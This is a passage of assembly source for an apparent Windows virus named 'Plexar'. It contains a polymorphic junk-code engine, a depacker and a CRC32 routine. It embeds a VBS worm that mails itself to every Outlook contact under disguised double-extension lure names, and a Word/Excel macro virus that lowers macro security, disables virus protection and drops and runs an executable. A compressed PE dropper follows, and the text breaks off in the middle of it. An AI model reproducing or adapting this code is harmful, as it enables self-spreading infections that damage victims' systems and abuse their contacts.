@Popear_Delta_IV++ @Popear_Delta_R:++ RET++ @Popear_Delta_I:+ MOV AL, 05Dh ; POP EBP+ STOSB+ MOV AX, 0ED81h ; SUB EBP+ STOSW+ MOV DWO [GuardaDelta], EDI+ MOV EAX, DWO [Origen]+ STOSD+ JMP @Popear_Delta_R++ @Popear_Delta_II:+ MOV AL, 058h+ STOSB+ MOV AL, 02Dh+ STOSB+ MOV DWO [GuardaDelta], EDI+ MOV EAX, DWO [Origen]+ STOSD+ MOV AL, 095h+ STOSB+ JMP @Popear_Delta_R++ @Popear_Delta_III:+ MOV AL, 05Bh+ STOSB+ MOV AL, 0BAh+ STOSB+ MOV DWO [GuardaDelta], EDI+ MOV EAX, DWO [Origen]+ STOSD+ MOV AX, 0D329h+ STOSW+ MOV AX, 0DD87h+ STOSW+ JMP @Popear_Delta_R++ @Popear_Delta_IV:+ MOV AL, 05Ah+ STOSB+ MOV AL, 068h+ STOSB+ MOV DWO [GuardaDelta], EDI+ MOV EAX, DWO [Origen]+ STOSD+ MOV AL, 05Dh+ STOSB+ MOV AX, 0D587h+ STOSW+ MOV AX, 0D529h+ STOSW+ JMP @Popear_Delta_R++ RET++ @Meter_Tama�o:++ PUSH 04h+ POP EBX+ CALL @Aleatorio+ OR EAX, EAX+ JZ @Meter_Tama�o_I+ CMP EAX, 01h+ JZ @Meter_Tama�o_II+ CMP EAX, 02h+ JZ @Meter_Tama�o_III+ CMP EAX, 03h+ JZ @Meter_Tama�o_IV++ JMP @Meter_Tama�o_III++ @Meter_Tama�oR:++ RET++ @Meter_Tama�o_I:+ MOV AL, 0B9h+ STOSB+ MOV EAX, DWO [Tama�o]+ STOSD+ JMP @Meter_Tama�oR++ @Meter_Tama�o_II:+ MOV AL, 068h+ STOSB+ MOV EAX, DWO [Tama�o]+ STOSD+ MOV AL, 059h+ STOSB+ JMP @Meter_Tama�oR++ @Meter_Tama�o_III:+ MOV AL, 0BAh+ STOSB+ MOV EAX, DWO [Tama�o]+ NOT EAX+ STOSD+ MOV AX, 0CA87h+ STOSW+ MOV AX, 0D1F7h+ STOSW+ JMP @Meter_Tama�oR++ @Meter_Tama�o_IV:+ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ XCHG EDX, EAX++ MOV AL, 068h+ STOSB+ MOV EAX, EDX+ STOSD+ MOV AL, 058h+ STOSB+ MOV AL, 035h+ STOSB+ MOV EAX, DWO [Tama�o]+ XOR EAX, EDX+ STOSD+ MOV AL, 091h+ STOSB+ JMP @Meter_Tama�oR++ @Colocar_LEA:++ PUSH 03h+ POP EBX+ CALL @Aleatorio+ OR EAX, EAX+ JZ @Colocar_Lea_I+ CMP EAX, 01h+ JZ @Colocar_Lea_II+ CMP EAX, 02h+ JZ @Colocar_Lea_III++ JMP @Colocar_Lea_II++ @Colocar_LEAR:++ RET++ @Colocar_LEA_I:+ MOV AX, 0BD8Dh+ STOSW+ MOV EAX, DWO [Origen]+ STOSD+ JMP @Colocar_LEAR++ @Colocar_LEA_II:+ MOV AL, 0BFh+ STOSB+ MOV EAX, DWO [Origen]+ STOSD+ MOV AX, 0EF01h+ STOSW+ JMP @Colocar_LEAR++ @Colocar_LEA_III:+ MOV AL, 068h+ STOSB+ MOV EAX, DWO [Origen]+ STOSD+ MOV AL, 05Ah+ STOSB+ MOV AX, 0EA01h+ STOSW+ MOV AX, 0D787h+ STOSW+ JMP @Colocar_LEAR++ @SumaCuatro:++ PUSH 04h+ POP EBX+ CALL @Aleatorio+ OR EAX, EAX+ JZ @SumaCuatro_I+ CMP EAX, 01h+ JZ @SumaCuatro_II+ CMP EAX, 02h+ JZ @SumaCuatro_III+ CMP EAX, 03h+ JZ @SumaCuatro_IV++ JMP @SumaCuatro_III++ @SumaCuatroR:++ RET++ @SumaCuatro_I:+ MOV AX, 0C781h+ STOSW+ MOV EAX, 00000004h+ STOSD+ JMP @SumaCuatroR++ @SumaCuatro_II:+ MOV EAX, 47474747h+ STOSD+ JMP @SumaCuatroR++ @SumaCuatro_III:+ MOV AL, 47h+ STOSB+ MOV AX, 0C781h+ STOSW+ MOV EAX, 00000002h+ STOSD+ MOV AL, 47h+ STOSB+ JMP @SumaCuatroR++ @SumaCuatro_IV:+ MOV AX, 0C781h+ STOSW+ MOV EAX, 00000003h+ STOSD+ MOV AL, 47h+ STOSB+ JMP @SumaCuatroR++ ; Generador de basura! Mega Lamer!!!++ @Basura:++ PUSH 10d+ POP ECX++ @BasLoop:++ PUSH 08d+ POP EBX+ CALL @Aleatorio++ OR EAX, EAX+ JZ @Basura_1+ CMP EAX, 1h+ JZ @Basura_2+ CMP EAX, 2h+ JZ @Basura_3+ CMP EAX, 3h+ JZ @Basura_4+ CMP EAX, 4h+ JZ @Basura_5+ CMP EAX, 5h+ JZ @Basura_6+ CMP EAX, 6h+ JZ @Basura_7++ JMP @Basura_1++ @BasuraR:++ LOOP @BasLoop++ RET++ @Basura_1:++ PUSH 07h+ POP EBX+ CALL @Aleatorio+ LEA ESI, OFS [@B1_Tabla]+ ADD ESI, EAX+ MOVSB++ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ STOSD+ JMP @BasuraR++ @B1_Tabla:+ DB 0B8h ; MOV EAX+ DB 0BBh ; MOV EBX+ DB 0BAh ; MOV EDX+ DB 0BEh ; MOV ESI+ DB 005h ; ADD EAX+ DB 02Dh ; SUB EAX+ DB 035h ; XOR EAX+ DB 015h ; ADC EAX++ @Basura_2:++ PUSH 15d+ POP EBX+ CALL @Aleatorio+ ADD EAX, EAX+ LEA ESI, OFS [@B2_Tabla]+ ADD ESI, EAX+ MOVSW++ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ STOSD++ JMP @BasuraR++ @B2_Tabla:+ DB 081h, 0C3h ; ADD EBX+ DB 081h, 0C2h ; ADD EDX+ DB 081h, 0C6h ; ADD ESI+ DB 081h, 0EBh ; SUB EBX+ DB 081h, 0EAh ; SUB EDX+ DB 081h, 0EEh ; SUB ESI+ DB 081h, 0F6h ; XOR ESI+ DB 081h, 0F2h ; XOR EDX+ DB 081h, 0F3h ; XOR EBX+ DB 081h, 0D3h ; ADC EBX+ DB 081h, 0D2h ; ADC EDX+ DB 081h, 0D6h ; ADC ESI+ DB 069h, 0C0h ; IMUL EAX+ DB 069h, 0DBh ; IMUL EBX+ DB 069h, 0D2h ; IMUL EDX+ DB 069h, 0F6h ; IMUL ESI++ @Basura_3:++ PUSH 35d+ POP EBX+ CALL @Aleatorio+ ADD EAX, EAX+ LEA ESI, OFS [@B3_Tabla]+ ADD ESI, EAX+ MOVSW++ JMP @BasuraR++ @B3_Tabla:+ DB 001h, 0D8h ; ADD EAX, EBX+ DB 001h, 0D0h ; ADD EAX, EDX+ DB 001h, 0F0h ; ADD EAX, ESI+ DB 001h, 0D3h ; ADD EBX, EDX+ DB 001h, 0F3h ; ADD EBX, ESI+ DB 001h, 0C3h ; ADD EBX, EAX+ DB 001h, 0DAh ; ADD EDX, EBX+ DB 001h, 0F2h ; ADD EDX, ESI+ DB 001h, 0C2h ; ADD EDX, EAX+ DB 001h, 0DEh ; ADD ESI, EBX+ DB 001h, 0D6h ; ADD ESI, EDX+ DB 001h, 0C6h ; ADD ESI, EAX+ DB 029h, 0D8h ; SUB EAX, EBX+ DB 029h, 0D0h ; SUB EAX, EDX+ DB 029h, 0F0h ; SUB EAX, ESI+ DB 029h, 0C3h ; SUB EBX, EAX+ DB 029h, 0D3h ; SUB EBX, EDX+ DB 029h, 0F3h ; SUB EBX, ESI+ DB 029h, 0C2h ; SUB EDX, EAX+ DB 029h, 0DAh ; SUB EDX, EBX+ DB 029h, 0F2h ; SUB EDX, ESI+ DB 029h, 0C6h ; SUB ESI, EAX+ DB 029h, 0DEh ; SUB ESI, EBX+ DB 029h, 0D6h ; SUB ESI, EDX+ DB 031h, 0D8h ; XOR EAX, EBX+ DB 031h, 0D0h ; XOR EAX, EDX+ DB 031h, 0F0h ; XOR EAX, ESI+ DB 031h, 0C3h ; XOR EBX, EAX+ DB 031h, 0D3h ; XOR EBX, EDX+ DB 031h, 0F3h ; XOR EBX, ESI+ DB 031h, 0C2h ; XOR EDX, EAX+ DB 031h, 0DAh ; XOR EDX, EBX+ DB 031h, 0F2h ; XOR EDX, ESI+ DB 031h, 0C6h ; XOR ESI, EAX+ DB 031h, 0DEh ; XOR ESI, EBX+ DB 031h, 0D6h ; XOR ESI, EDX++ @Basura_4:+ MOV AL, 068h ; PUSH+ STOSB+ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ STOSD++ PUSH 03h+ POP EBX+ CALL @Aleatorio+ LEA ESI, OFS [@B4_Tabla]+ ADD ESI, EAX+ MOVSB++ JMP @BasuraR++ @B4_Tabla:+ DB 058h ; POP EAX+ DB 05Bh ; POP EBX+ DB 05Ah ; POP EDX+ DB 05Eh ; POP ESI++ @Basura_5:+ PUSH 11d+ POP EBX+ CALL @Aleatorio+ LEA ESI, OFS [@B5_Tabla]+ ADD ESI, EAX+ MOVSB++ JMP @BasuraR++ @B5_Tabla:+ DB 040h ; inc eax+ DB 043h ; inc ebx+ DB 042h ; inc edx+ DB 046h ; inc esi+ DB 048h ; dec eax+ DB 04Bh ; dec ebx+ DB 04Ah ; dec edx+ DB 04Eh ; dec esi+ DB 093h ; xchg ebx,eax+ DB 092h ; xchg edx,eax+ DB 096h ; xchg esi,eax+ DB 093h ; xchg ebx,eax++ @Basura_6:+ PUSH 13d+ POP EBX+ CALL @Aleatorio+ LEA ESI, OFS [@B6_Tabla]+ ADD EAX, EAX+ ADD ESI, EAX+ MOVSW++ JMP @BasuraR++ @B6_Tabla:+ DB 0F7h, 0D0h ; not eax+ DB 0F7h, 0D3h ; not ebx+ DB 0F7h, 0D2h ; not edx+ DB 0F7h, 0D6h ; not esi+ DB 0F7h, 0D8h ; neg eax+ DB 0F7h, 0DBh ; neg ebx+ DB 0F7h, 0DAh ; neg edx+ DB 0F7h, 0DEh ; neg esi+ DB 087h, 0DAh ; xchg ebx,edx+ DB 087h, 0DEh ; xchg ebx,esi+ DB 087h, 0D3h ; xchg edx,ebx+ DB 087h, 0D6h ; xchg edx,esi+ DB 087h, 0F3h ; xchg esi,ebx+ DB 087h, 0F2h ; xchg esi,edx++ @Basura_7:+ PUSH 31d+ POP EBX+ CALL @Aleatorio+ LEA ESI, OFS [@B7_Tabla]+ ADD EAX, EAX+ ADD ESI, EAX+ MOVSW+ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ STOSB++ JMP @BasuraR++ @B7_Tabla:+ DB 0C1h, 0D0h ; rcl eax+ DB 0C1h, 0D3h ; rcl ebx+ DB 0C1h, 0D2h ; rcl edx+ DB 0C1h, 0D6h ; rcl esi+ DB 0C1h, 0D8h ; rcr eax+ DB 0C1h, 0DBh ; rcr ebx+ DB 0C1h, 0DAh ; rcr edx+ DB 0C1h, 0DEh ; rcr esi+ DB 0C1h, 0C0h ; rol eax+ DB 0C1h, 0C3h ; rol ebx+ DB 0C1h, 0C2h ; rol edx+ DB 0C1h, 0C6h ; rol esi+ DB 0C1h, 0C8h ; ror eax+ DB 0C1h, 0CBh ; ror ebx+ DB 0C1h, 0CAh ; ror edx+ DB 0C1h, 0CEh ; ror esi+ DB 0C1h, 0E0h ; shl eax+ DB 0C1h, 0E3h ; shl ebx+ DB 0C1h, 0E2h ; shl edx+ DB 0C1h, 0E6h ; shl esi+ DB 0C1h, 0F8h ; sar eax+ DB 0C1h, 0FBh ; sar ebx+ DB 0C1h, 0FAh ; sar edx+ DB 0C1h, 0FEh ; sar esi+ DB 0C1h, 0E0h ; shl eax+ DB 0C1h, 0E3h ; shl ebx+ DB 0C1h, 0E2h ; shl edx+ DB 0C1h, 0E6h ; shl esi+ DB 0C1h, 0E8h ; shr eax+ DB 0C1h, 0EBh ; shr ebx+ DB 0C1h, 0EAh ; shr edx+ DB 0C1h, 0EEh ; shr esi++ @SaveSemilla DB 8 DUP (00h)++ Semilla_1 DD 00000000h+ Semilla_2 DD 00000000h+ Llave DD 00000000h++ Origen DD 00000000h+ Destino DD 00000000h+ Tama�o DD 00000000h++ GuardaDelta DD 00000000h+ GuardaDelta2 DD 00000000h+ GuardaLoop DD 00000000h++ Mierda_1 EQU 1A7FC23Bh+ Mierda_2 EQU 000028B1h+ Mierda_3 EQU 974D9DB5h+ Mierda_4 EQU 0000F3C9h++ PXPE ENDP++; ���������������������������������������������������������������������������++;***************************************************************+;* aPLib v0.22b - the smaller the better :) *+;* WASM & TASM assembler depacker *+;* *+;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved *+;***************************************************************++;.386p+;.MODEL flat++;.CODE++;PUBLIC _aP_depack_asm++_aP_depack_asm:+ push ebp+ mov ebp, esp+ pushad+ push ebp++ mov esi, [ebp + 8] ; C calling convention+ mov edi, [ebp + 12]++ cld+ mov dl, 80h++literal:+ movsb+nexttag:+ call getbit+ jnc literal++ xor ecx, ecx+ call getbit+ jnc codepair+ xor eax, eax+ call getbit+ jnc shortmatch+ mov al, 10h+getmorebits:+ call getbit+ adc al, al+ jnc getmorebits+ jnz domatch_with_inc+ stosb+ jmp short nexttag+codepair:+ call getgamma_no_ecx+ dec ecx+ loop normalcodepair+ mov eax,ebp+ call getgamma+ jmp short domatch++shortmatch:+ lodsb+ shr eax, 1+ jz donedepacking+ adc ecx, 2+ mov ebp, eax+ jmp short domatch++normalcodepair:+ xchg eax, ecx+ dec eax+ shl eax, 8+ lodsb+ mov ebp, eax+ call getgamma+ cmp eax, 32000+ jae domatch_with_2inc+ cmp eax, 1280+ jae domatch_with_inc+ cmp eax, 7fh+ ja domatch++domatch_with_2inc:+ inc ecx++domatch_with_inc:+ inc ecx+domatch:+ push esi+ mov esi, edi+ sub esi, eax+ rep movsb+ pop esi+ jmp short nexttag++getbit:+ add dl, dl+ jnz stillbitsleft+ mov dl, [esi]+ inc esi+ adc dl, dl+stillbitsleft:+ ret++getgamma:+ xor ecx, ecx+getgamma_no_ecx:+ inc ecx+getgammaloop:+ call getbit+ adc ecx, ecx+ call getbit+ jc getgammaloop+ ret++donedepacking:+ pop ebp+ sub edi, [ebp + 12]+ mov [ebp - 4], edi ; return unpacked length in eax++ popad+ pop ebp+ ret++; ���������������������������������������������������������������������������++ ; Billy Belcebu's CRC32 calculator.+ ;+ ; CRC32 procedure+ ; --------------++ ;+ ; input:+ ; ESI = Offset where code to calculate begins+ ; EDI = Size of that code+ ; output:+ ; EAX = CRC32 of given code+ ;++ CRC32 proc+ cld+ xor ecx,ecx ; Optimized by me - 2 bytes+ dec ecx ; less+ mov edx,ecx+ NextByteCRC:+ xor eax,eax+ xor ebx,ebx+ lodsb+ xor al,cl+ mov cl,ch+ mov ch,dl+ mov dl,dh+ mov dh,8+ NextBitCRC:+ shr bx,1+ rcr ax,1+ jnc NoCRC+ xor ax,08320h+ xor bx,0EDB8h+ NoCRC: dec dh+ jnz NextBitCRC+ xor ecx,eax+ xor edx,ebx+ dec edi ; 1 byte less+ jnz NextByteCRC+ not edx+ not ecx+ mov eax,edx+ rol eax,16+ mov ax,cx+ ret+ CRC32 endp++; ���������������������������������������������������������������������������++ ; Generador de numeros aleatorios para uso general.+ ;+ ; EBX -> Limite Superior++ Random PROC++ PUSH ECX EDX EDI EBX++ LEA EDI, OFS [Mariconada]+ RDTSC+ STOSD+ PUSH 04h+ POP EDI+ LEA ESI, OFS [Mariconada]+ CALL CRC32+ XCHG EDX, EAX++ PUSH EDX+ LEA EDI, OFS [Mariconada]+ APICALL GetTickCount+ STOSD+ SUB EDI, 04h+ XCHG EDI, ESI+ PUSH 04h+ POP EDI+ CALL CRC32+ POP EDX++ PUSH EAX+ OR EAX, EDX+ POP ECX+ AND EDX, ECX++ XOR EAX, EDX++ POP EBX+ XOR EDX, EDX+ DIV EBX+ XCHG EDX, EAX++ POP EDI EDX ECX+ RET++ Mariconada DB 9 DUP (00h)++ Random ENDP++; ���������������������������������������������������������������������������++ ; TABLA!+ ;+ ; Create -> 01h+ ; File -> 02h+ ; Map -> 03h+ ; View -> 04h+ ; Close -> 05h+ ; Get -> 06h+ ; Set -> 07h+ ; Find -> 08h+ ; Virtual -> 09h+ ; Window -> 0Ah+ ; Directory -> 0Bh+ ; Current -> 0Ch+ ; WaitFor -> 0Dh+ ; Thread -> 0Eh++ HThread DD 00000000h++ APIs_K32 DB 01h, 02h, "A", 00h+ DB 01h, 02h, 03h, "pingA", 00h+ DB 03h, 04h, "Of", 02h, 00h+ DB "Unmap", 04h, "Of", 02h, 00h+ DB 05h, "Handle", 00h+ DB 06h, 02h, "Size", 00h+ DB 07h, 02h, "Pointer", 00h+ DB 07h, "EndOf", 02h, 00h+ DB 07h, 02h, "AttributesA", 00h+ DB "Write", 02h, 00h+ DB 08h, "First", 02h, "A", 00h+ DB 08h, "Next", 02h, "A", 00h+ DB 08h, 05h, 00h+ DB 09h, "Alloc", 00h+ DB 09h, "Free", 00h+ DB 06h, 0Ah, "s", 0Bh, "A", 00h+ DB 06h, 0Ch, 0Bh, "A", 00h+ DB 07h, 0Ch, 0Bh, "A", 00h+ DB 01h, 0Eh, 00h+ DB "Exit", 0Eh, 00h+ DB 0Dh, "MultipleObjects", 00h+ DB 0Dh, "SingleObject", 00h+ DB 06h, "TickCount", 00h+ DB "LoadLibraryA", 00h+ DB "Delete", 02h, "A", 00h+ DB 07h, 0Eh, "Priority", 00h+ DB 0FFh++ CreateFileA DD 00000000h+ CreateFileMappingA DD 00000000h+ MapViewOfFile DD 00000000h+ UnmapViewOfFile DD 00000000h+ CloseHandle DD 00000000h+ GetFileSize DD 00000000h+ SetFilePointer DD 00000000h+ SetEndOfFile DD 00000000h+ SetFileAttributesA DD 00000000h+ WriteFile DD 00000000h+ FindFirstFileA DD 00000000h+ FindNextFileA DD 00000000h+ FindClose DD 00000000h+ VirtualAlloc DD 00000000h+ VirtualFree DD 00000000h+ GetWindowsDirectoryA DD 00000000h+ GetCurrentDirectoryA DD 00000000h+ SetCurrentDirectoryA DD 00000000h+ CreateThread DD 00000000h+ ExitThread DD 00000000h+ WaitForMultipleObjects DD 00000000h+ WaitForSingleObject DD 00000000h+ GetTickCount DD 00000000h+ LoadLibraryA DD 00000000h+ DeleteFileA DD 00000000h+ SetThreadPriority DD 00000000h++ KERNEL32 DD 00000000h++ Thread_Directa DD 00000000h+ Thread_WormVBS DD 00000000h+ Thread_IWord DD 00000000h+ Thread_Host DD 00000000h++ Listo_Directa DB 00h++ GetProcAddress DD 00000000h+ Exports DD 00000000h++ CRC32_GetProcAddress EQU 0FFC97C1Fh+ l_GetProcAddress EQU 0Fh++ Scriptum DD 00000000h+ GuardaNom DD 00000000h+ LargoVBS DB 00h+ FHandle_WVBS DD 00000000h+ MHandle_WVBS DD 00000000h+ BaseMap_WVBS DD 00000000h++ Gusano_VBS LABEL NEAR+ DB 'On Error Resume Next', 0Dh, 0Ah+ DB 'Set Outlook = CreateObject("OutLook.Application")', 0Dh, 0Ah+ DB 'If ( Outlook <> "" ) Then', 0Dh, 0Ah+ DB 'With Outlook', 0Dh, 0Ah+ DB 'Set MAPI = .GetNameSpace("MAPI")', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'With MAPI', 0Dh, 0Ah+ DB 'Set AddrList = .AddressLists', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'For I = 1 to AddrList.Count', 0Dh, 0Ah+ DB 'With OutLook', 0Dh, 0Ah+ DB 'Set NuevoMail = .CreateItem(0)', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'Set LibroActual = AddrList.Item(I)', 0Dh, 0Ah+ DB 'With NuevoMail', 0Dh, 0Ah+ DB '.Attachments.Add "'+ L_Gusano_VBS EQU $-Gusano_VBS++ Gusano_VBS2 LABEL NEAR+ DB '"', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'Set Yuca = LibroActual.AddressEntries', 0Dh, 0Ah+ DB 'With Yuca', 0Dh, 0Ah+ DB 'For J = 1 to .Count', 0Dh, 0Ah+ DB 'With NuevoMail', 0Dh, 0Ah+ DB 'Set bajo = .Recipients', 0Dh, 0Ah+ DB 'bajo.Add Yuca(J)', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'Next', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'With NuevoMail', 0Dh, 0Ah+ DB '.Send', 0Dh, 0Ah+ DB 'End With', 0Dh, 0Ah+ DB 'Next', 0Dh, 0Ah+ DB 'Outlook.Quit', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ L_Gusano_VBS2 EQU $-Gusano_VBS2++ Nombres_Varios DB "XD", 00h+ DB "Sex.jpg", 20d DUP (" "), ".exe", 00h+ DB "Porno.gif", 20d DUP (" "), ".exe", 00h+ DB "Free_XXX.jpg", 20d DUP (" "), ".exe", 00h+ DB "Great_Music.mp3", 20d DUP (" "), ".exe", 00h+ DB "Check_This.jpg", 20d DUP (" "), ".exe", 00h+ DB "Cool_Pics.gif", 20d DUP (" "), ".exe", 00h+ DB "Love_Story.html", 20d DUP (" "), ".exe", 00h+ DB "Sexy_Screensaver.scr", 00h+ DB "Free_Love_Screensaver.scr", 00h+ DB "Eat_My_Shorts.scr", 00h++ Raxelp_vbs DB "raxelp.vbs", 00h+ WScript_exe DB "wscript.exe", 00h++ Tabla_Hex DB "0123456789ABCDEF", 00h++ FHandle_IW DD 00000000h+ MHandle_IW DD 00000000h+ BaseMap_IW DD 00000000h+ Tama�o_IW DD 00000000h+ Memoria_IW DD 00000000h+ Macaco DB 13d DUP (00h)++ Virus_Macro LABEL NEAR+ DB 'Attribute VB_Name = "Plexar"', 0Dh, 0Ah+ DB 'Sub Auto_Open()', 0Dh, 0Ah+ DB 'Application.OnSheetActivate = "InfXL"', 0Dh, 0Ah+ DB 'End Sub', 0Dh, 0Ah+ DB 'Sub InfXL()', 0Dh, 0Ah+ DB 'On Error Resume Next', 0Dh, 0Ah+ DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah+ DB 'Set VBP = Application.VBE.ActiveVBProject', 0Dh, 0Ah+ DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah+ DB 'Set VBX = VBP.VBComponents', 0Dh, 0Ah+ DB 'With Application: .ScreenUpdating = Not -1: .DisplayStatusBar = Not -1: .EnableCancelKey = Not -1: .DisplayAlerts = Not -1: End With', 0Dh, 0Ah+ DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$": YYY = Application.StartupPath & "\personal.xls"', 0Dh, 0Ah+ DB 'VBX.Item(ZZZ).Export XXX', 0Dh, 0Ah+ DB 'If AXO.Item(ZZZ).Name <> ZZZ Then', 0Dh, 0Ah+ DB ' AXO.Import XXX: AWO.SaveAs AWO.FullName', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'If (Dir(YYY) = "") Then', 0Dh, 0Ah+ DB 'Workbooks.Add.SaveAs YYY', 0Dh, 0Ah+ DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah+ DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah+ DB 'AXO.Import XXX', 0Dh, 0Ah+ DB 'ActiveWindow.Visible = Not -1', 0Dh, 0Ah+ DB 'Workbooks("personal.xls").Save', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'Kill XXX', 0Dh, 0Ah+ DB 'Call Correme', 0Dh, 0Ah+ DB 'End Sub', 0Dh, 0Ah+ DB 'Sub AutoClose()', 0Dh, 0Ah+ DB 'On Error Resume Next', 0Dh, 0Ah+ DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$"', 0Dh, 0Ah+ DB 'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah+ DB 'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah+ DB 'With Options: .VirusProtection = (2 * 4 + 4 / 6 - 2): .ConfirmConversions = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah+ DB 'With Application: .DisplayStatusBar = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah+ DB 'Set AKT = VBE.ActiveVBProject.VBComponents', 0Dh, 0Ah+ DB 'Set NOX = NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah+ DB 'Set DOX = ActiveDocument.VBProject.VBComponents', 0Dh, 0Ah+ DB 'AKT.Item(ZZZ).Export XXX', 0Dh, 0Ah+ DB 'If (NOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah+ DB 'NOX.Import XXX', 0Dh, 0Ah+ DB 'NormalTemplate.Save', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'If (DOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah+ DB 'DOX.Import XXX', 0Dh, 0Ah+ DB 'ActiveDocument.SaveAs ActiveDocument.FullName', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'Kill XXX', 0Dh, 0Ah+ DB 'Call Correme', 0Dh, 0Ah+ DB 'End Sub', 0Dh, 0Ah+ DB 'Private Sub Correme()', 0Dh, 0Ah+ DB 'On Error Resume Next', 0Dh, 0Ah+ DB 'Dim joda as String', 0Dh, 0Ah+ DB 'Dim X as String', 0Dh, 0Ah+ DB 'joda = "'+ L_Virus_Macro EQU $-Virus_Macro++ Virus_Macro_2 LABEL NEAR+ DB 'For o = 1 to Len(joda) Step 2', 0Dh, 0Ah+ DB 'X = X + Chr("&h" + Mid(Joda, o, 2))', 0Dh, 0Ah+ DB 'Next', 0Dh, 0Ah+ DB 'raxname = Environ("windir") & "\raxelp.exe"', 0Dh, 0Ah+ DB 'Open raxname For Binary As #1', 0Dh, 0Ah+ DB 'Put #1, 1, X$', 0Dh, 0Ah+ DB 'Close #1', 0Dh, 0Ah+ DB 'xoxo = Shell(raxname, 0)', 0Dh, 0Ah+ DB 'End Sub', 0Dh, 0Ah+ L_Virus_Macro_2 EQU $-Virus_Macro_2++ Nihil DB 00h+ Memoria DD 00000000h+ Raxelp_$$$ DB "c:\raxelp.$$$", 00h+ Plxwrd_vbs DB "plxwrd.vbs", 00h++ Macro_VBS LABEL NEAR+ DB 'On Error Resume Next', 0Dh, 0Ah+ DB 'Set word = CreateObject("Word.Application")', 0Dh, 0Ah+ DB 'If ( word <> "" ) Then', 0Dh, 0Ah+ DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah+ DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah+ DB 'Set maca = word.Application.NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah+ DB 'If maca.Item("Plexar").Name <> "Plexar" Then', 0Dh, 0Ah+ DB 'maca.Import "c:\raxelp.$$$"', 0Dh, 0Ah+ DB 'word.Application.NormalTemplate.Save', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'Set fso = CreateObject("Scripting.FileSystemObject")', 0Dh, 0Ah+ DB 'Set excel = CreateObject("Excel.Application")', 0Dh, 0Ah+ DB 'If ( excel <> "" ) Then', 0Dh, 0Ah+ DB 'yyy = excel.Application.StartupPath & "\personal.xls"', 0Dh, 0Ah+ DB 'If (fso.FileExists(yyy) = False) Then', 0Dh, 0Ah+ DB 'excel.WorkBooks.Add.SaveAs yyy', 0Dh, 0Ah+ DB 'excel.Application.ActiveWorkbook.VBProject.VBComponents.Import "c:\raxelp.$$$"', 0Dh, 0Ah+ DB 'excel.ActiveWindow.Visible = Not -1', 0Dh, 0Ah+ DB 'excel.Workbooks("personal.xls").Save', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ DB 'excel.Application.Quit', 0Dh, 0Ah+ DB 'End If', 0Dh, 0Ah+ Largo_MVBS EQU $-Macro_VBS++ FHandle_DPE DD 00000000h+ MHandle_DPE DD 00000000h+ BaseMap_DPE DD 00000000h++ DROPPER LABEL NEAR++ DB 04Dh, 038h, 05Ah, 050h, 038h, 002h, 067h, 002h+ DB 004h, 007h, 00Fh, 007h, 0FFh, 01Ch, 010h, 0B8h+ DB 0E1h, 048h, 001h, 040h, 0E0h, 01Ah, 0E1h, 00Ah+ DB 0B3h, 001h, 01Ch, 006h, 0BAh, 010h, 000h, 00Eh+ DB 01Fh, 0B4h, 009h, 0CDh, 021h, 07Dh, 0B8h, 067h+ DB 04Ch, 00Ah, 090h, 010h, 054h, 068h, 069h, 073h+ DB 007h, 020h, 070h, 072h, 06Fh, 067h, 033h, 061h+ DB 06Dh, 0C7h, 027h, 075h, 0C7h, 074h, 0D3h, 062h+ DB 065h, 0C7h, 0FFh, 00Fh, 06Eh, 099h, 006h, 064h+ DB 0E7h, 0C7h, 0D3h, 057h, 069h, 0D0h, 033h, 032h+ DB 00Dh, 01Ch, 00Ah, 024h, 037h, 029h, 001h, 057h+ DB 063h, 050h, 045h, 00Eh, 008h, 04Ch, 001h, 005h+ DB 001h, 099h, 02Bh, 05Ch, 0A3h, 058h, 014h, 0E0h+ DB 0E0h, 08Eh, 004h, 081h, 00Bh, 001h, 002h, 019h+ DB 08Dh, 019h, 022h, 007h, 08Ah, 010h, 004h, 064h+ DB 020h, 099h, 01Eh, 056h, 00Ch, 041h, 053h, 001h+ DB 01Fh, 038h, 003h, 029h, 00Ah, 009h, 012h, 070h+ DB 036h, 04Dh, 002h, 0A4h, 01Fh, 0A4h, 035h, 053h+ DB 020h, 008h, 07Bh, 